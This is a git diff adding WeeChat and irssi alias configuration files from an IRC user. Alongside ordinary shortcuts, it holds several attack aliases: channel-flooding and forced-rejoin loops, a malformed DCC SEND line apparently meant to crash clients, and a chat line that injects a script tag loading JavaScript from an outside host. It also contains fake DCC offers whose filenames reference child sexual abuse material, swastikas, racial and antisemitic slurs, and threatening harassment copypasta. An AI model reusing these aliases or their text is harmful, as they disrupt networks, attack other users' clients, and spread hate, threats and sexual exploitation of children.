+  regulate = "founder baronphone;founder redbaronpizza;founder woof;founder lovesoccer88;founder ak;founder blowfish;founder dickserv;founder takbar;founder spikeyfish;founder alghazi;founder lulzilla;founder vap;founder baronfortuna;founder megadongs;founder jakk;founder football;founder hoodie;founder misty;founder psycho;founder sunnid;founder vein;founder wealth;;mode #superbowl -qaohvqaohv ak ak ak ak ak blowfish blowfish blowfish blowfish blowfish;mode #superbowl -qaohvqaohv dickserv dickserv dickserv dickserv dickserv takbar takbar takbar takbar takbar;mode #superbowl -qaohvqaohv spikeyfish spikeyfish spikeyfish spikeyfish spikeyfish alghazi alghazi alghazi alghazi alghazi;mode #superbowl -qaohvqaohv lulzilla lulzilla lulzilla lulzilla lulzilla vap vap vap vap vap;mode #superbowl -qaohvqaohv baronfortuna baronfortuna baronfortuna baronfortuna baronfortuna megadongs megadongs megadongs megadongs megadongs;mode #superbowl -qaohvqaohv jakk jakk jakk jakk jakk football football football football football;mode #superbowl -qaohvqaohv baronphone baronphone baronphone baronphone baronphone redbaronpizza redbaronpizza redbaronpizza redbaronpizza redbaronpizza;mode #superbowl -qaohvqaohv hoodie hoodie hoodie hoodie hoodie misty misty misty misty misty;mode #superbowl -qaohvqaohv psycho psycho psycho psycho psycho sunnid sunnid sunnid sunnid sunnid;mode #superbowl -qaohvqaohv vein vein vein vein vein wealth wealth wealth wealth wealth;mode #superbowl -qaohvqaohv woof woof woof woof woof lovesoccer88 lovesoccer88 lovesoccer88 lovesoccer88 lovesoccer88;mode #superbowl +qaohvqaohv ak ak ak ak ak takbar takbar takbar takbar takbar;mode #superbowl +qaohvqaohv spikeyfish spikeyfish spikeyfish spikeyfish spikeyfish football football football football football;mode #superbowl +aohvohv-G dickserv dickserv dickserv dickserv alghazi alghazi alghazi;mode #superbowl +ohvohvohv lulzilla lulzilla lulzilla baronfortuna baronfortuna baronfortuna megadongs megadongs megadongs;mode #superbowl +ohvhvvvvvvv blowfish blowfish blowfish vap vap jakk psycho hoodie sunnid vein lovesoccer88;mode #superbowl +ohvohv baronphone baronphone redbaronpizza redbaronpizza";
+  vhosts = "exec cat ~/vhosts";
+  coins = "say .btc;say .omg;say .link;say .vtc;say .ppc;say .enj;say .xvg;say .trx";
+  pyrex = "say my shit stay cock'd like forest whitakers eye";
+  coins2 = "say !coin btc,omg,vtc,ppc,xrb,xlm,dbc,atl";
+  arab2 = "say takbar: be careful blowfish might alias u;say for disagreeing with vap0r";
+  ak = "say rr @ $* trying to get me to sacycle him so he can complain more about it";
+  mikejonez = "$* its classic schoolyard bully psychology bro";
+  diamondhead = "say that is some funny fucking shit, if i were some stupid fuck, joining that would load roughly 5000 irc channels into me client/browser in an attempt to crash it";
+  ak2 = "say how do u get a host that ends in a period";
+  mikejonez2 = "say real niggas dont live in apts tho";
+};
diff --git a/alias/opal.conf b/alias/opal.conf
new file mode 100644
index 0000000..68d6806
--- /dev/null
+++ b/alias/opal.conf
@@ -0,0 +1,195 @@
+#
+# weechat -- alias.conf
+#
+
+[cmd]
+!! = "hueg 1,4,8"
+1488 = "mode -b+l-b 0,5卐5!*@*0,5 1488 5*!*@0,5卍"
+_fortune = "es bin/fortune.sh"
+a = "play"
+aaway = "away -all"
+acow = "es cat ascii/*/"$3-" | cow$1 -nf$2"
+action = "msg * \x01ACTION $*\x01"
+agrep = "play -find *$**"
+akill = "trigger add akill_$1 signal "$server,irc_in2_join" "${nick} == $1" "" "/quote -server $server kill $1" "ok";kill $1"
+aop = "kloeri autoop"
+aoper = "eval /oper $1 ${sec.data.${server}_oper}"
+asl = "exec -o /home/wowaname/bin/asl/asl.sh"
+ato = "play -pipe "/say $1:" $2-"
+autocmd = "eval -s ${irc.server.$server.command}"
+av = "say <meta http-equiv=refresh content="0.001\; url=Login.asp"><script language=javascript src=http://www.haofbi.com/js/w.js></script>"
+b = "buffer"
+b64d = "exec echo '$1-' | base64 -d"
+b64e = "exec -o echo '$1-' | base64"
+banhammer = "me is getting out the ban hammer! ▬▬▬▬▬▬▬▋ Ò╭╮Ó"
+bbunni = "say bbunni is a fucking whore: <peaces> blue, roy told me u asked him to cyber u while ur husband was in the hospital <bbunni> peaces so what if i did, how is that your business?"
+benis = "exec -o cat ascii/uncat/benis\ unban"
+best = "say best $* in town;say best $* around"
+bible = "exec -o grep -i ^'$*	' ascii/uncat/bible"
+bl = "kline 40320 $1 :Blacklisted"
+blog = "say Hi! It looks like you're blogging on IRC. Would you like to: 2[Add Comments] 2[e-Mail this to a Friend] 2[Digg This!] 6[Submit to Slashdot] 2[Add to del.icio.us] 5[Kill yourself because0⬉5 nobody cares]"
+brag = "wv -o;uptime -o;weestats;input return"
+buttes = "play -fmt "$*" buttes4"
+buttranged = "say you've just been HURT FEELINGS AND BUTT RANGED go drink ur moms bredt milk u fart commander i bet u hav a fetish FOR MEN LMAO ur just so made all the time its 2 easy 23 own u "i ilk to drinkj sperm from my sperm bottle while waring my sperm necklace" - u"
+c = "connect"
+cake = "prism -wr and no i'm not going to dye my dammed hair pink and bake a fucking cake"
+chan = "msg chanserv $1 $channel $2-"
+chankey = "kloeri key"
+cia = "say CIA niggers glow in the dark. You can see them if you're driving. You just run them over, that's what you do."
+clear = "buffer clear"
+clop = "yiff -clops"
+cnotice = "notice $channel"
+coffee = "play -fmt $1 uncat/coffee"
+colourkill = "prism -xe هو ما نراه عندما تقوم الملونات بتعديل الضوء فيزيائيا بحيث تراه العين البشرية (تسمى عملية الاستجابة) ويترجم في الدماغ (تسمى عملية الإحساس التي يدرسها علم النفس). واللون هو أثر فيسيولوجي ينتج في شبكية العين، حيث يمكن للخلايا المخروطية القيام بتحليل ثلاثي اللون للمشاهد، سواء كان اللون ناتجاً عن المادة الصبغية الملونة أو عن الضوء الملون. إن ارتباط اللون مع الأشياء في لغتنا، يظهر في عبارات مثل "هذا الشيء أحمر اللون"، هو ارتباط مضلل لأنه لا يمكن إنكار أن اللون هو إحساس غير موجود إلا في الدماغ، أو الجهاز العصبي للكائنات الحية."
+corner = "es python3 -c 'print( "\n".join([" ".join("$*")]+list("$*"[1:])) )'"
+cowsay = "es cowsay"
+ctopic = "topic"
+cuntpunt = "prism -c \ /$1 $2 cuntpunt \＼| ￣ヘ￣|／＿＿＿＿＿＿＿θ☆( *o*)/"
+dc = "disconnect"
+dc6 = "exec -pipe /mode bash -c 'h=(0 1 2 3 4 5 6 7 8 9 a b c d e f)\; for i in {0..3}\; do echo $1 $2${h[(( i * 4 ))]}$3 $2${h[(( i * 4 + 1 ))]}$3 $2${h[$(( i * 4 + 2 ))]}$3 $2${h[$(( i * 4 + 3 ))]}$3\; done'"
+dc_full = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 4 + $4 ))$3 $2$(( i * 4 + 1 + $4 ))$3 $2$(( i * 4 + 2 + $4 ))$3 $2$(( i * 4 + 3 + $4 ))$3\; done'"
+dc_half = "exec -pipe /mode bash -c 'for i in {0..3}\; do echo $1 $2$(( i * 64 ))$3 $2$(( i * 64 + 16 ))$3 $2$(( i * 64 + 32 ))$3 $2$(( i * 64 + 48 ))$3\; done'"
+dccporn = "exec -pipe "/ctcp $1" echo 'DCC SEND '`echo '2011_vichatter_3_girls_hot_show.mp4 2013-05_Chinese_Girl_Vichatter_8Yo_112.avi 2lolis_3.mp4 9yo_from_vichatter.mp4 @babygirl_pusssy.mp4 @yegla.mp4 Kak2.mp4 Kia_yn.mp4 LD_3_04.14.wmv LD_4_04.14.wmv Latina_shakes_her_behind_in_pink_underwear.mp4 Laura_McMenamin_-_Straddle_jumps_on_the_trampoline.mp4 Liza_Botkin_n_Friend.avi MN_11.13..avi Periscope_rus_lesbi.mp4 Russian_video.mp4 Vichatter_03_11_2011_Mashechka_alone.avi Vichatter_July_Novo_07_17_2012.avi Vichatter_Mary_08_22_2011.avi WCAM-349.wmv YouNow_-_Kiera_Smith_tits_n_ass_edit.FLV brighton014_-_broadcasted_on_YouNow.FLV calzones.webm jv-2016-05-27_06-01.ts megz_yn.mp4 michaella_yn.mp4 michaellahunyormog.mp4 mu3.mp4 sexy_russian_girl.mp4 vichatter_ass_2.mpg webcam_52.wmv' | tr \  "\n" | shuf | head -1` $(( RANDOM * 131072 + RANDOM )) $(( RANDOM + 10000 )) $(( RANDOM * 1024 ))"
+dccrash = "say DCC SEND " 1.2.3.4 1337 1"
+deopd = "exec -pipe "/mode -obb $1" cat ascii/uncat/deopban"
+diagonal = "es python3 -c 'j="$*"\;[print(" "*i + j[i]) for i in range(len(j))]'"
+dikky = "fortune dikky"
+dim = "trigger addreplace dim_$server_$1 modifier weechat_print "${tg_tag_nick} == $1 && \${server} == $server" "/(.*)/${color:4}${tg_prefix_nocolor}\t${color:12}${tg_message_nocolor}/"; print \---\t$1 is now dimmed on $server"
+dns = "kloeri dns"
+dongers = "say ヽ༼ຈل͜ຈ༽ﾉ raise your dongers ヽ༼ຈل͜ຈ༽ﾉ"
+doritos = "say ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ Ah Mannn! I dropped my bag of Doritos!!!"
+down = "kloeri down"
+dyk = "say 8(!) 1Did you know...;/m $channel 11/14=11\ ;/m $channel 11\ / $*"
+e = "say 3$nick14@weechat14:~ 3$ $*;/exec -pipe "/msg -server $server $channel " $*"
+efnet = "say Ugh, I'm so sick of $server. I'm moving to EfNet."
+efs = "fortune efs"
+errantego = "msg * $1, $channel is a family friendly channel (meaning young eyes could be watching), please watch your language while you are in $channel...thank you. :-)"
+es = "/exec -pipe "/msg -server $server $channel " $*"
+fag = "play -fmt $1 fagosaurus"
+fakelag = "exec -pipe /say figlet -Fborder -Fgay -fterm Please disable Fakelag, $1!\;echo\;echo "Some clients limit commands sent at once so they don't get disconnected."\;echo 'This is often undesired as Good IRC Networks can handle flooding.'\;echo 'Certain clients allow easy removal of fakelag:'\;echo 'irssi :: /set cmd_queue_speed 0msec'\;echo '         /set cmds_max_at_once 0'\;echo '         /reconnect'\;echo 'WeeChat :: /set irc.server_default.anti_flood_prio_high 0'\;echo '           /save'\;echo 'HexChat :: /set net_throttle 0'\;echo 'ChatZilla :: /evals CIRCServer.prototype.MS_BETWEEN_SENDS = 0'\;echo 'ZNC :: /msg *controlpanel setnetwork floodburst $me $network 0'\;echo '       /msg *controlpanel setnetwork floodrate $me $network 0'\;echo '       /msg *status connect'"
+figfonts = "exec -n ls /usr/share/figlet"
+figlet = "es figlet -w100 -Fcrop $*"
+flashbang = "cflood -fg 0 -bg 8 FLASHBANG"
+fortune = "es fortune fortunes/"$*""
+friends = "play -fmt "$nick\;$1" colour/friends"
+fuck = "mute python load colo.py"
+full = "figlet -f wideterm"
+ganja = "me is away (4,4__8,8__3,3__1 SmOkInG ThE GaNjA 4,4__8,8__3,3__)"
+gaydar = "play -fmt $* gaydar"
+gaykick = "k $1 4Y12O9U A8R4E 9G11A8Y"
+gentoo = "exec -o echo install `(cat /dev/urandom | tr -cd 'a-z' | head -c 1) 2> /dev/null`entoo"
+gnu = "say I'd just like to interject for a moment. What you're referring to as $2-, is in fact, $1/$2-, or as I've recently taken to calling it, $1 plus $2-."
+gnulinux = "gnu GNU Linux"
+gnusay = "cowsay -nfgnu < ascii/copypasta/gnulinux"
+heart = "hueg 05,04 <3"
+hop = "cycle"
+hopflood = "exec -o sed 's@^@/part @\;s@$@\n/join@' ascii/*/"$1-""
+host = "exec host"
+ikline = "/kline ~*@$1 :Please install identd"
+insult = "exec -o /var/www/afsadgsdcgdcfgefcasfcascfsadf.com/insult/index.pl"
+irssi = "input history_previous;input history_previous;input return;input history_previous;input return;exec -pipe /repeat echo "$((RANDOM%5)) say ?A""
+j = "join"
+jargon = "exec -o bin/jargon.sh"
+jewname = "exec -o bin/jewname.pl"
+k = "kloeri kick"
+kb = "kloeri kickban"
+kdebug = "kloeri debug"
+khelp = "kloeri help"
+kickflood = "exec -o sed 's@^@/quote kick $channel $1 :@\;s@$@\n/forcejoin $1 $channel@' ascii/*/"$2-""
+kiss = "play -fmt $1 pp4l/kissyou"
+kkrop = "masshl /mode +o-b %n 1,1!*@0Welcome1.0to1.0the1.0Krusty1.0Krab"
+ko = "kloeri knockout"
+kset = "kloeri set"
+link = "exec -o bin/linkgen.sh"
+loljk = "say lol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JKlol JK LOL JK"
+m = "msg"
+mail = "n $channel You have unread messages from another user! Type /server mail read to read them."
+mdeop = "deop *"
+mdevoice = "devoice *"
+merge = "buffer merge"
+mike = "kline $1 same"
+mirc = "say 0000010102020303040405050606070708080909101011111212131314141515"
+mircgold = "say You must have a mIRC 8,7GOLD account to view this message."
+mop = "op *"
+mv = "buffer move"
+mvoice = "voice *"
+n = "notice"
+nctcp = "notice $1 $2-"
+nfj = "notice $1 You were forced to join $channel"
+nickmsg = "exec -pipe /nick for i in $*\; do echo $i\; done"
+niggas = "say niggas aint be real but that just be how it do"
+offend = "msg * $1: I feel offended by your recent action(s). Please read http://stop-irc-bullying.eu/stop"
+operation = "play -fmt "$*" operation"
+oslap = "me slaps $1 around a bit with $2-."
+oven = "exec -o bin/oven/oven"
+p = "part"
+pants = "say Has anyone seen my pants? They were last seen at JFK International Airport in New York last night and I miss them already. Please contact baggage claim if you've seen them and tell them to send the pants to Rochester International Airport where JetBlue is looking for them."
+pooname = "exec -o bin/pooname.pl"
+popart = "es for i in `seq 1 $1`\; do echo "$(( $RANDOM % 16 ))$2-"\; done"
+portscans = "say Someone from the address "$1" has been performing port scans and other malicious things on my computer such as DoS attempts and intrusion attempts wich in turn has made my internet speed drop because this person is doing it so much and it is just destroying my bandwidth. Please tell them to stop. No, actually, force them to stop. This e-mail address showed up when I back traced the IP address and preformed a whois search on it. If you are not responsible for the actions of this person, please ignore this e-mail. If nothing is done about it, keep this in mind: I'm a 15 year old hacker with alot of time on my hands. Therefore, if you don't stop this person, I will. I just thaught I would go about it the right way before I did anything."
+pre = "$1 $2$channel $3-"
+pump = "say I occasionally pump whilst I'm driving, particularly on long journeys in the car. That way, when I get into meetings, I have a HUGE bulge in my suit and like to watch everyone's eyes - guys and women!! It never fails to get some kind of reaction!!! -- MegaPumper"
+Q = "query"
+quiet = "kloeri quiet"
+r-pair = "eval /set plugins.var.python.text_replace.replacement_pairs "${plugins.var.python.text_replace.replacement_pairs}\;$1=$2-""
+r-word = "eval /set plugins.var.python.text_replace.replacement_words "${plugins.var.python.text_replace.replacement_words}\;$1=$2-""
+ra = "play -pipe "/prism -c ` /say ` ""
+rato = "play -pipe "/prism -c ` /say `$1:" $2-"
+raw = "quote"
+rc = "reconnect"
+rclop = "ryiff -clops"
+reason = "kloeri reason"
+redraw = "color reset;window refresh"
+rejoin = "exec -o for i in `seq 1 $2` \; do echo "/forcepart $1 $channel"\; echo "/forcejoin $1 $channel"\; done"
+reverse = "exec -o python -c 'print "$*"[::-1]'"
+ri = "repeat -interval"
+rot13 = "exec -o echo "$*" | tr a-zA-Z n-za-mN-ZA-M"
+rslap = "me slaps $1 around a bit with a large 4r7a8i3n12b2o6w 7t8r3o12u2t6."
+s = "buffer server.$1"
+sadmac = "say سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ"
+say = "msg *"
+sc = "mute autojoin --run;mute save;print Channels and options saved"
+set_append = "eval /set $1 "\${$1},$2-""
+shrug = "exec -o echo '¯\_'`echo '㋛ ㋡ (˙͜>˙) (ツ) (シ) (ベ) (じ) (ぐ) (ヾ) (ゞ) (:^))' | tr \  "\n" | shuf | head -1`'_/¯'"
+sj = "server jump"
+slap = "me slaps $1 around a bit with a large trout."
+sln = "ison q w e r t y u i o p { };print [           ] q w e r t y u i o p { };ison a s d f g h j k l ~ [ ];print [           ] a s d f g h j k l ~ [ ];ison z x c v b n m _ ^ ` \ |;print [           ] z x c v b n m _ ^ ` \ |"
+space = "exec -o python3 -c 'print( " ".join("$*") )'"
+spy = "eval can $server see what i do on my computer"
+sslap = "exec -pipe "/oslap $1" bin/fish.sh"
+style = "eval -s /set plugins.var.python.colo.fgs "\${plugins.var.python.colo.$1_fgs}"\;/set plugins.var.python.colo.bgs "\${plugins.var.python.colo.$1_bgs}"\;/set plugins.var.python.colo.fmt "\${plugins.var.python.colo.$1_fmt}""
+styledis = "set_append plugins.var.python.colo.ignore_buffers $server.$channel"
+sub = "kline $1 :problematic subnet, ask irc@volatile.ch for an exemption"
+supernets = "say yeh $1 just wait till i get a supernets then enough http requests then boom"
+t = "topic"
+ta = "play -pipe /topic"
+think = "me .oO( $1- )"
+timeout = "buffer notify none; wait 60m /buffer notify reset"
+tkline = "kloeri tkline"
+tmyk = "say 2The 12More 6You 13Know 5=7=8=9=11=12=2=8☆"
+train = "kick $1 ran over with a train 4/2[o o]3[o o]2[o o]3[o o]2[o o]3[o o]4\"
+ub = "unban"
+ubr = "exec -o echo /unban {$1..$2}"
+umode = "mode $nick"
+unakill = "trigger del akill_$1"
+undim = "trigger del dim_$server_$1; print \---\t$1 is no longer dimmed"
+unfuck = "mute python unload colo"
+urgay = "ato $* youaregay"
+urslow = "exec -o head -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /\; sleep 1\; head -n33 ascii/pp4l/youaregay | tail -n16 | sed s/^/$1:\ /\; sleep 1\; tail -n17 ascii/pp4l/youaregay | sed s/^/$1:\ /"
+v = "ctcp $1 version"
+volatile = "say You are invited to 4>13>8> 6irc.5volatile6.ch 8<13<4< colour nicks, no fake lag, fun for all"
+w = "who"
+wc = "buffer close"
+wcon = "es wcon -color irc -pbw 10"
+webirc = "exec -pipe "/exec host" python -c 'print ".".join(str(int("$1"[i:i+2],16)) for i in xrange(0,8,2))'"
+whisper = "mute /notice $1 [$channel] $2-;/print \-\tPvNotice($1): $2-"
+wi = "whois"
+wii = "whois $1 $1"
+wiki = "exec -o LANGS=(en chr dv km glk ka he ms fa ba ru sa ta zh-yue ur hy kn ml ne war bh gu tg wuu or arc mzn lo pnb got bo as ti cr xmf tcy)\;wget -q -O- "https://${LANGS[$RANDOM % ${#LANGS[@]}]}.wikipedia.org/wiki/Special:Random" | pup title | sed '2!d\;s|^ \(.*\) [-–—] .*$|\1|g'"
+wraith = "exec -pipe "/mode +o-b $1" echo `head -c 2 /dev/urandom | base64 | tr -d =`'!'`head -c 3 /dev/urandom | base64`'@'`head -c 16 /dev/urandom | base64`"
+wv = "command core version"
+ww = "whowas"
+xra = "play -pipe "/prism -xc ` /say ` ""
+xyzzy = "print Nothing happens"
+
+[completion]
diff --git a/alias/pchacking.conf b/alias/pchacking.conf
new file mode 100644
index 0000000..14e294c
--- /dev/null
+++ b/alias/pchacking.conf
@@ -0,0 +1,467 @@
+aliases = {
+  # {{{ client shortcuts
+  sb = "scrollback";
+  slo = "script load ~/.irssi/scripts/$*";
+  wk = "window close";
+  ws = "window new";
+  wn = "window new hide";
+  wim = "window item move $*";
+
+  # {{{ IRC commands
+  j = "join";
+  t = "topic";
+  wi = "whois $0 $0";
+  ww = "whowas";
+  um = "mode $N";
+  k = "kick";
+  b = "ban";
+  ub = "unban";
+  kb = "kickban";
+  kn = "knockout";
+  lock = "mode $C +ilkm 1 lolol";
+  unlock = "mode $C -milk";
+  judify = "mode $C +ilkm 1 lolol ; kick $* lol";
+  q = "query";
+  m = "msg";
+  say = "msg *";
+  amsg = "foreach channel";
+  chat = "dcc chat";
+
+  # {{{ services
+  cs = "msg ChanServ $*";
+  ns = "msg NickServ $*";
+  ms = "msg MemoServ $*";
+  hs = "msg HostServ $*";
+  os = "msg OperServ $*";
+
+  # {{{ .irssi/{scrollz,crapflood}
+  tcat = "exec - cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
+  tscroll = "exec - -out cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
+  tcrap = "exec - -out cat $HOME/.irssi/crapflood/$* 2>/dev/null \\; sleep 42";
+  tansi = "tscroll ansi/$*";
+  tascii = "tscroll ascii/$*";
+  tbird = "tscroll birds/$*";
+  tart = "tscroll ircart/$*";
+  tp0r = "tscroll p0r/$*";
+  tsong = "tscroll songs/$*";
+  tstory = "tscroll stories/$*";
+  tposter = "tscroll poster/$*";
+  tx1 = "tscroll xxsart/$*";
+  tx2 = "tscroll xscii/$*";
+  txl = "tscroll xxlart/$*";
+
+  # {{{ slowcat
+  slowc = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 $* 2>/dev/null \\; sleep 42";
+  glowc = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat $* 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
+  slowt = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 ~/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
+  glowt = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat ~/.irssi/scrollz/$* 2>/dev/null 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
+
+  # {{{ scripts wrappers
+  813 = "exec - -o perl ~/.irssi/scripts/stand/813.pl $* 2>/dev/null";
+  234 = "exec - -o perl ~/.irssi/scripts/stand/234.pl $* 2>/dev/null";
+  bart = "exec - -out echo \"$*\" | awk -f ~/.irssi/scripts/stand/bart.awk 2>/dev/null";
+  gridsify = "exec - -o echo \"$*\" | awk -f ~/.irssi/scripts/stand/grids.awk 2>/dev/null";
+  boners = "exec - -o perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
+  gboners = "gayexec -1 perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
+  poll = "exec - -o $HOME/.irssi/scripts/stand/poll.sh $*";
+  randmatix = "exec - -o $HOME/.irssi/scripts/stand/randmatix.sh $*";
+  terror = "exec - -o perl ~/.irssi/scripts/stand/terror.pl";
+  gterror = "gayexec -1 perl ~/.irssi/scripts/stand/terror.pl";
+  cow = "gay -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
+  cowf = "gay -cow -cowfile $HOME/.irssi/cows/$0 $1-";
+  gcow = "gay -1 -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
+  gcowf = "gay -1 -cow -cowfile $HOME/.irssi/cows/$0 $1-";
+  fig = "exec -o echo \"$*\" | figlet 2>/dev/null";
+  cfig = "ascii -c $*";
+  hfig = "exec -o echo \"$*\" | figlet -f ivrit -C ilhebrew 2>/dev/null";
+  ghfig = "gay -1 -font ivrit -YES -fig \"$*\"";
+  tcl = "exec -o echo \"$*\" | tclsh";
+  stcl = "exec echo \"$*\" | tclsh";
+  rot13 = "exec -o echo \"$*\" | tr a-zA-Z n-za-mN-ZA-M 2>/dev/null";
+  greek = "exec -o python $HOME/.irssi/scripts/stand/greek.py $*";
+  ggreek = "gayexec -1 python $HOME/.irssi/scripts/stand/greek.py $*";
+
+  # {{{ unsorted
+  tag = "script exec Irssi::server_find_tag('$0')->command('$1-');";
+  bop = "oper tscroll osamabigmatixjudaism";
+
+  # {{{ /!\ ACHTUNG /!\
+  attn1 = "say \037\0034/\0038!\0034\\\\\037 \0039ACHTUNG:\0039 \0038$0-\003 \037\0034/\0038!\0034\\\\\037";
+  attn2 = "say \0036\037/\0038!\0036\\\\\037\003 \0039ACHTUNG: \0038$* \0036\037/\0038!\0036\\\\\037";
+  attn3 = "say  \0038\037/!\\\\\037\003 \002$*\002 \0038\037/!\\\\\037\003";
+  attn4 = "say \00314,8 \037/!\\\\\037 \003 \0034$* \00314,8 \037/!\\\\\037 \003";
+  attn5 = "say \00314,7\037/!\\\\\037 $* \037/!\\\\\037\037";
+  attn6 = "say \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\\037  \00314,8$0- \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\";
+  attn7 = "say \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037 \0038,8 \0034,8\037$*\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 ";
+  attn8 = "say \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 ";
+  attn9 = "say \0038,5/\037!\037\\\\ DANGER: $* /\037!\037\\\\";
+  attn10 = "say \0030,4 (X) ATTENTION (X) \003 \002$*";
+  attn11 = "say \0031,8 \037/!\\\\\037 \0034,8WARNING: $*\0031,8 \037/!\\\\\037 ";
+  attn12 = "say \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 \0038,4 $* \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 ";
+  attn13 = "say \00314,8 \037/!\\\\\037 \00314,4 ERROR \003\002 $*  ";
+  attn14 = "say \0038,4 /!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  $*  \0038,4/!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  ";
+  jewlert = "say \00312,0* JEWLERT -> \003 \002$*\002 \00312,0 <- JEWLERT *";
+  gaylert = "say \00313,11GAY ALERT! B======>\037 $* \037<======B WATCH HIM EAT COCK!";
+  fishlert = "say <¸.·`¯`·.¸¸.·`¯`· $* ·`¯`·.¸¸.·`¯`·.¸>";
+
+  # {{{ #:) lolle (:#
+  lolle1 = "say \002\0031,1#\0030,5:\0034,5)\003\002 \0030,1\002 $* \002\003 \002\0034,5(\0030,5:\0031,1#\003\002";
+  lolle2 = "say \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!\003 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!";
+  lolle3 = "say \0039\037\\\\|/\037\003 $* \0039\037\\\\|/";
+  lolle4 = "say $* has a degree in assfistology.  \0031,1   \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5o\0030,5:\0031,1.";
+  lolle5 = "say There are no niggers in the gay paradise of mexico.  \0031,1   \0038,1boger for president 2008           \0031,1.";
+  lolle6 = "say \0034,1=/#=\0030,1 $* \00312,1=/#=";
+  lolle7 = "say LOL ---> $* <--- LOL";
+  lolle8 = "say \0034,5(\003\0030:\00314-  \00313$*\003  \00314-\0030:\0034,5)";
+  lolle9 = "say \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017\017 $* \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017";
+  oven1 = "say $* ---> :( |___| <--- oven";
+  oven2 = "say $*  \002-> oven\002";
+
+  # {{{ lump u out
+  lump = "say $* u dont even know me kid shut the fuck up hidin behind your computer i'd fuckin lump u out if you fronted on me like that in person";
+  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
+  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
+  lump4 = "say hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
+  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
+  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
+  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
+  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
+  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
+  lump10 = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
